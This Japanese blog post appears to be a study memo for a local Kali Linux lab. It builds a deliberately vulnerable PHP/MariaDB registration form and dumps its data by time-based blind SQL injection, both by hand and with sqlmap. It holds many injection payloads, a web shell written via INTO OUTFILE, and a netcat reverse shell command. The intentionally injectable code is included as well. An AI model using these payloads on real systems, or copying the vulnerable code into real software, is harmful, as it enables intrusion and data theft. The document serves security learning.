![見出し画像](https://assets.st-note.com/production/uploads/images/142108694/rectangle_large_type_2_077f74faae7e1b761c311da2dc61bdf1.png?width=1200)
Kali LinuxでTime-Based Blind SQL Injectionを体験する
1 全般
勉強のため、Kali Linux において Time-Based Blind SQL Injection を行える環境を構築しました。備忘録として手法を記載します。
※ 本記事に記載されている内容を許可されていない第三者に対して行うと犯罪行為になります。絶対に悪用しないでください。
※ また、本記事の内容を実行する際は、自己責任でお願いします。
2 構築環境のイメージ図
![](https://assets.st-note.com/img/1716869606268-qi3QDKSoMw.png?width=1200)
3 SQLサーバ(MySQL)の構築
① MySQLのインストール
Kali Linuxには MySQL が無いため、インストールする必要があります。
apt でupgradeします
sudo apt update
sudo apt upgrade
関係ファイルをインストールします
sudo apt install mariadb-server
サービスを立ち上げます。
$ sudo systemctl start mysql
mysql_secure_installation を実行します。
$ sudo mysql_secure_installation
Enter current password for root (enter for none): [rootのpwを入力]
Switch to unix_socket authentication [Y/n] n
Change the root password? [Y/n] Y
New password: [rootのpwを入力]
Re-enter new password: [rootのpwを入力]
Remove anonymous users? [Y/n] Y
Disallow root login remotely? [Y/n] n
Remove test database and access to it? [Y/n] Y
Reload privilege tables now? [Y/n] Y
MySQL Serverへログインします。pwを入力してログインが可能なら成功です。
$ mysql -u root -p
② databaseとtableの作成
PHPからアクセスする用のdatabaseを作成します。
MariaDB [(none)]> create database web_service default character set utf8;
databaseが作成されたことを確認します。
MariaDB [(none)]> show databases;
![](https://assets.st-note.com/img/1716860743416-MwHQ7UT4hg.png)
Databaseを切り替えます
MariaDB [(none)]> use web_service;
tableを作成します。
MariaDB [web_service]> create table register_mail (id integer, mail text, memo text);
tableが作成されたことを確認します。
MariaDB [web_service]> show tables;
![](https://assets.st-note.com/img/1716885914523-m4dbvpLOCU.png)
任意のデータを登録します。
MariaDB [web_service]> insert into register_mail values (1,'pichu@kawaii.com','pw:qwer-asdf-zxcv');
MariaDB [web_service]> insert into register_mail values (2,'kirby@kawaii.com','poyo');
MariaDB [web_service]> insert into register_mail values (3,'pikachu@kawaii.com','username:admin');
データが登録されたか確認します。
MariaDB [web_service]> select * from register_mail;
![](https://assets.st-note.com/img/1716861168680-nOmQFMU3qp.png)
4 Webサーバ & Webページの構築
まずは DirectoryIndex を変更します。
$ sudo vim /etc/apache2/apache2.conf
![](https://assets.st-note.com/img/1716854893930-eip4CiJeAN.png?width=1200)
/var/www/html/blind_sqli_timebased/ に、「index.php」ファイルを作成します。
$ cd /var/www/html
$ sudo mkdir blind_sqli_timebased
$ cd blind_sqli_timebased
$ sudo touch index.php
$ sudo chmod 777 index.php
好きな方法で以下のコードを書き込んでください。
・ Index.php
<?php header("X-XSS-Protection: 0");?>
<?php
# submitが押された場合
if (isset($_POST["mail"]))
{
$mail = $_POST["mail"];
try
{
# データベースの接続情報
$host = 'localhost'; # MySQLサーバーのホスト名
$username = 'root'; # MySQLユーザー名
$password = 'passworddesuyo'; # MySQLパスワード
$database = 'web_service'; # 使用するデータベース名
// PDOオブジェクトを作成し、MySQLサーバーに接続
$pdo = new PDO("mysql:host=$host;dbname=$database;charset=utf8mb4", $username, $password);
# SQLのクエリを作成(意図的にsqliしやすいように)
$prepare = $pdo->prepare("SELECT id,mail FROM register_mail WHERE mail = '" .$mail . "';");
# クエリを送信
$prepare->execute();
# 結果を取得
$result = $prepare->fetchAll(PDO::FETCH_ASSOC);
print("メールの登録ありがとうございます。パスワードの登録案内はメールアドレスに送信しています。");
}
catch(PDOException $e)
{
// もしmysqlへの接続が失敗した場合は何もしない
print("メールの登録ありがとうございます。パスワードの登録案内はメールアドレスに送信しています。");
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>登録フォーム</title>
</head>
<body>
<p>登録するメールアドレスを入力し、送信してください。</p>
<form name="register_form" action="<?php print($_SERVER['SCRIPT_NAME']); ?>" method="POST">
<input type="text" name="mail" value="<?php echo $mail; ?>" size = 200/><br>
<input type="submit"" value="送信">
</form>
</body>
</html>
apache2 を起動します。
$ sudo systemctl start apache2
http://localhost/blind_sqli_timebased/ にアクセスした時に、ページが表示されれば成功です!
![](https://assets.st-note.com/img/1716855909710-HybosgbnI2.png?width=1200)
5 Webページの動作
・ 通常の流れ(メールアドレス入力 & 送信 → メッセージの表示)
![](https://assets.st-note.com/img/1716856250024-y9chNdthJm.png)
![](https://assets.st-note.com/img/1716856312296-uYM8SneqYT.png?width=1200)
リクエスト確認すると、index.php 自身に POSTで mail パラメータを送信していることが分かります。
![](https://assets.st-note.com/img/1716856734665-XmzfyOQ2Wu.png?width=1200)
6 SQL Injetionの脆弱性を特定
index.php ではMySQLに投げるクエリを作成する際、サニタイジングをしておらず、ユーザからの入力をそのまま利用するようになっています。
$prepare = $pdo->prepare("SELECT id,mail FROM register_mail WHERE mail = '" .$mail . "';");
これにより SQL Injection の脆弱性が存在しますが、Index.php はどのような入力があっても同じ文字列を表示するようになっているため、ぱっと見ではSQL Injectionが可能であるか判断できません。
![](https://assets.st-note.com/img/1716857317490-904KpsAhOX.png?width=1200)
![](https://assets.st-note.com/img/1716857303999-CuMJJwdvhA.png?width=1200)
そこで、MySQL のSLEEP() 関数を使用します。SLEEP() を利用すると、クエリが成功した場合は指定した時間 MySQL を止めることができます。
つまり、リクエストに含まれるSQLのクエリにSLEEP()を仕込み、レスポンスが遅れた場合はクエリが成功している = SQL Injection に成功していると判断できます。
まず、通常のレスポンスタイムを測定します。一瞬で返ってきます。
![](https://assets.st-note.com/img/1716858928858-msKFFGMwsg.png?width=1200)
次に、SLEEP() を仕込みます。これも一瞬で返ってくるので、MySQLに投げるクエリは成立していません。
' UNION SELECT SLEEP(3);#
![](https://assets.st-note.com/img/1716858821701-nBnocoryXb.png?width=1200)
次に、SELECTのcolumnを1つ増やします。すると、レスポンスが返ってくるのに約3秒かかります。
' UNION SELECT SLEEP(3),null;#
![](https://assets.st-note.com/img/1716858761175-Df3Ku4l9Nr.png?width=1200)
この時、index.phpがMySQLに投げるクエリは以下の通りになっています。
SELECT id,mail FROM register_mail WHERE mail = '' UNION SELECT SLEEP(3),null;#';
レスポンスが遅れる = クエリが成立している = SQL Injection が可能
と判断できます。これが Time-Based Blind SQL Injection です。
7 Manual Time-Based Blind SQL Injection
では、これから手動で Time-Based Blind SQL Injectionを行っていきます。
① UNIONで結合するcolumnの数を特定
正規のクエリで使用している、「id,mail」の数の事です。
SELECT id,mail FROM register_mail WHERE mail = 'pichu_kawaii@pichu.com';
これは、以下のようにnullの数を増やしていくことで特定が可能です。
' UNION SELECT SLEEP(3);#
' UNION SELECT SLEEP(3),null;#
レスポンスが遅れるクエリが「SLEEP(3),null」の2つのため、UNIONで結合するcolumnの数は2であることが分かりました。
② databaseの名前を特定
databaseの名前は以下の通りです。これを特定していきます。
![](https://assets.st-note.com/img/1716860743416-MwHQ7UT4hg.png)
具体的には、%(0 個以上の文字で構成される文字列に一致)を使用します。以下は、「aから始まるdatabaseが存在する場合、SLEEP(3)する」payloadです。
' UNION SELECT SLEEP(3),null FROM information_schema.schemata WHERE schema_name like 'a%';#
しばらく捜索していると、「w%」がヒットします。
' UNION SELECT SLEEP(3),null FROM information_schema.schemata WHERE schema_name like 'w%';#
あとは同じようにして捜索していき、「web_service」が見つかります。
' UNION SELECT SLEEP(3),null FROM information_schema.schemata WHERE schema_name like 'web_service%';#
' UNION SELECT SLEEP(3),null FROM information_schema.schemata WHERE schema_name like 'web_service';#
③ table名を特定
tableの名前と数は以下の通りです。database名同じように%を使用して特定していきます。
![](https://assets.st-note.com/img/1716861562192-6ILUVS77qo.png)
' UNION SELECT SLEEP(3),null FROM information_schema.tables WHERE table_schema = 'web_service' AND table_name like 'a%';#
' UNION SELECT SLEEP(3),null FROM information_schema.tables WHERE table_schema = 'web_service' AND table_name like 'r%';#
「register_mail」が見つかります。
' UNION SELECT SLEEP(3),null FROM information_schema.tables WHERE table_schema = 'web_service' AND table_name like 'register_mail';#
④ columnの名前を数を特定
table の名前と数は以下の通りです。同じように%を使用して特定していきます。
![](https://assets.st-note.com/img/1716862820350-Xv2gWKu1Cr.png)
' UNION SELECT SLEEP(3),null FROM information_schema.columns WHERE table_schema = 'web_service' AND table_name = 'register_mail' AND column_name like 'a%';#
' UNION SELECT SLEEP(3),null FROM information_schema.columns WHERE table_schema = 'web_service' AND table_name = 'register_mail' AND column_name like 'id';#
' UNION SELECT SLEEP(3),null FROM information_schema.columns WHERE table_schema = 'web_service' AND table_name = 'register_mail' AND column_name != 'id' AND column_name like 'mail';#
' UNION SELECT SLEEP(3),null FROM information_schema.columns WHERE table_schema = 'web_service' AND table_name = 'register_mail' AND column_name != 'id' AND column_name != 'mail' AND column_name like 'memo';#
' UNION SELECT SLEEP(3),null FROM information_schema.columns WHERE table_schema = 'web_service' AND table_name = 'register_mail' AND column_name != 'id' AND column_name != 'mail' AND column_name != 'memo' AND column_name like '%';#
⑤ columnのvalueを特定
columnのvalueは以下の通りです。同じように%を使用して特定していきます。
![](https://assets.st-note.com/img/1716863543621-R31lB85iUS.png)
' UNION SELECT SLEEP(3),null FROM register_mail WHERE id like '1';#
' UNION SELECT SLEEP(3),null FROM register_mail WHERE id = '1' AND mail like 'pichu@kawaii.com';#
' UNION SELECT SLEEP(3),null FROM register_mail WHERE id = '1' AND mail = 'pichu@kawaii.com' AND memo like 'pw:qwer-asdf-zxcv';#
id =2, id=3 も同様に推測可能です。
' UNION SELECT SLEEP(3),null FROM register_mail WHERE id = '2' AND mail = 'kirby@kawaii.com' AND memo = 'poyo';#
' UNION SELECT SLEEP(3),null FROM register_mail WHERE id = '3' AND mail = 'pikachu@kawaii.com' AND memo = 'username:admin';#
以上で、dumpが完了しました。
database →「web_service」
table →「register_mail」
id | mail | memo
1| pichu@kawaii.com | pw:qwer-asdf-zxcv
2 | kirby@kawaii.com | poyo
3 | pikachu@kawaii.com | username:admin
8 sqlmap で自動化
手動でやるSQL Injection の dump はとても大変です。なので、sqlmapに全てやらせます。
$ sqlmap -u http://localhost/blind_sqli_timebased/index.php --data "mail=test@test.com" --dbms mysql --dbs
![](https://assets.st-note.com/img/1716869150537-wLFCvNXTrC.png)
$ sqlmap -u http://localhost/blind_sqli_timebased/index.php --data "mail=test@test.com" --dbms mysql -D web_service --tables
![](https://assets.st-note.com/img/1716869283907-xgh55bgdOO.png?width=1200)
$ sqlmap -u http://localhost/blind_sqli_timebased/index.php --data "mail=test@test.com" --dbms mysql -D web_service -T register_mail --dump
![](https://assets.st-note.com/img/1716869734508-DQkOUIIfmP.png)
9 python で自動化
sqlmap はとても便利ですが、やはり自分でexploitしたいのでpythonで自動化しました。
※ 実行結果のターミナルには「_」が映っていませんが、実際には「_」があります!
① UNIONで結合するcolumnの数を特定(crack1)
![](https://assets.st-note.com/img/1716871226979-jdqDuqX61V.png)
' UNION SELECT SLEEP(1),null;#
② database 名を特定(crack2)
前提条件
・ UNIONで結合するcolumnの数が分かっている(crack1)
![](https://assets.st-note.com/img/1716874778384-7NwwgqcQjr.png)
' UNION SELECT SLEEP(10),null FROM information_schema.schemata WHERE schema_name != 'web_service' AND schema_name like 'a%' COLLATE utf8mb4_bin;#
③ table 名を特定(crack3)
前提条件
・ UNIONで結合するcolumnの数が分かっている(crack1)
・ database名が分かっている(crack2)
![](https://assets.st-note.com/img/1716875703196-jrMFE1ACEp.png)
' UNION SELECT SLEEP(1),null FROM information_schema.tables WHERE table_schema = 'web_service' AND table_name LIKE 'a%' COLLATE utf8mb4_bin;#
④ column 名の特定(crack4)
前提条件
・ UNIONで結合するcolumnの数が分かっている(crack1)
・ database名が分かっている(crack2)
・ table名が分かっている(crack3)
![](https://assets.st-note.com/img/1716876321072-1cpvKAeqs3.png)
' UNION SELECT SLEEP(1),null FROM information_schema.columns WHERE table_schema = 'web_service' AND table_name = 'register_mail' AND column_name != 'id' AND column_name LIKE 'a%' COLLATE utf8mb4_bin;#
⑤ 主キーの特定(crack5)
前提条件
・ UNIONで結合するcolumnの数が分かっている(crack1)
・ table名が分かっている(crack3)
・ table名に対するcolumnの名前が分かっている(crack4)
![](https://assets.st-note.com/img/1716878121563-wktKayE6ZC.png)
' UNION SELECT SLEEP(1),null FROM register_mail HAVING COUNT(DISTINCT mail) = COUNT(*);#
' UNION SELECT SLEEP(1),null FROM register_mail WHERE id != '1' AND id like 'a%' COLLATE utf8mb4_bin;#
⑥ columnのvalueを特定(crack6)
前提条件
・ UNIONで結合するcolumnの数が分かっている(crack1)
・ table名が分かっている(crack3)
・ table名に対するcolumnの名前が分かっている(crack4)
・ primary_keyの名前が分かっている(crack5)
・ primary_keyのvalueが分かっている(crack5)
' UNION SELECT SLEEP(1),null FROM register_mail WHERE id = '1' AND mail = 'pichu@kawaii.com' AND memo like 'a%';#
![](https://assets.st-note.com/img/1716878732278-iOwgvZiwCT.png)
10 Remote Code Execution(OUTFILE)
MySQLには OUTFILE という構文があり、SQLの結果をファイルに出力することが可能です。
これとSQL Injectionを組み合わせることで任意のコマンドを実行させることが可能です。
例として、Webページの管理者がSQLの結果を /var/www/html/blind_sqli_timebased/ の中に格納して利用したいと思い、mysqlユーザ(MySQLを実行しているユーザ)に書き込み権限を与えたとします。
$ sudo chmod 777 /var/www/html/blind_sqli_timebased
$ ls -la /var/www/html
total 40
drwxr-xr-x 4 root root 4096 May 28 09:10 .
drwxr-xr-x 3 root root 4096 Nov 17 2023 ..
drwxrwxrwx 2 root root 4096 May 28 09:10 blind_sqli_timebased
すると、MySQL側でファイルの作成が可能になります。
MariaDB [web_service]> SELECT 'test' INTO OUTFILE '/var/www/html/blind_sqli_timebased/test.txt';
![](https://assets.st-note.com/img/1716880548383-WcJUfaLNu5.png?width=1200)
そして、当たり前ですがブラウザからアクセスが可能です。
![](https://assets.st-note.com/img/1716880650845-nInJxgYhJT.png)
ということは、SQL Injectionで Web Shell を作成させ、ブラウザからアクセスし、コマンドを実行させることが可能です。
以下は、/var/www/html/blind/sqli_timebased/reverse.php ファイルに web shell を書き込んでいます。
' UNION SELECT '<?php system($_GET[\'cmd\']);?>', SLEEP(1) INTO OUTFILE '/var/www/html/blind_sqli_timebased/reverse.php';#
![](https://assets.st-note.com/img/1716882886036-mcP1zq0ztk.png?width=1200)
![](https://assets.st-note.com/img/1716883275972-GmzUv61pcA.png)
実際にアクセスしに行くと、ファイルが存在していることが分かります。
![](https://assets.st-note.com/img/1716883488969-WhQQUntRko.png)
以下のようにGETでパラメータを送ってみます。
http://localhost/blind_sqli_timebased/reverse.php?cmd=id
![](https://assets.st-note.com/img/1716883644278-4xh7k1dmS0.png?width=1200)
なんと、RCEが出来てしまいました。
RCEができるということは、Reverse Shellの確立も可能です。まずは攻撃者の端末(都合上、同じ端末から)で待ち受けます。
$ nc -lvp 810
次に、以下のReverse Shellを実行させます。
http://localhost/blind_sqli_timebased/reverse.php?cmd=nc -c sh localhost 810
すると、画面が止まり…
![](https://assets.st-note.com/img/1716884288110-Oc5prXnF0U.png?width=1200)
Reverse Shellが確立されてしまいました。
![](https://assets.st-note.com/img/1716884374512-G1i2iJVuU9.png)
これはセキュリティ的に非常にまずい状態なので、検証し終わったらサーバを落としてください。
$ sudo systemctl stop mysql
$ sudo systemctl stop apache2
11 まとめ
・ 見かけ上は SQL Injection 対策がしてあるWebページでも、サニタイジング(エスケープ処理)をしていないとSQL Injectionされてしまう。
→ SQLサーバを使用してWebページを作成する場合、サニタイジングは絶対に忘れないようにする。
・ SQL Injection をされてしまうとSQLサーバのデータを dump されるだけに限らず、RCE などほかの攻撃をされてしまう危険性がある。
→ 今回の例では「アクセス制御の不備」によるものなので、攻撃を許してしまいそうな設定は控える。
この記事が気に入ったらサポートをしてみませんか?